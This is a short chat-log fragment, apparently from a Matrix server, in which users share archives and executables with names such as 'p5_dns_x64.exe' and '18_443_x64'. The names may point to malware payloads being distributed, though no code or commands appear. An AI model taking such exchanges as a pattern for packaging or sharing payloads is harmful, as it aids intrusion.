> <@usernamett:matrix.bestflowers247.online> sent a file.

3.7z

++

> <@usernameyy:matrix.bestflowers247.online> p5_dns_x64.exe

p5_dns_x64.zip

> <@usernamett:matrix.bestflowers247.online> 18_443_x64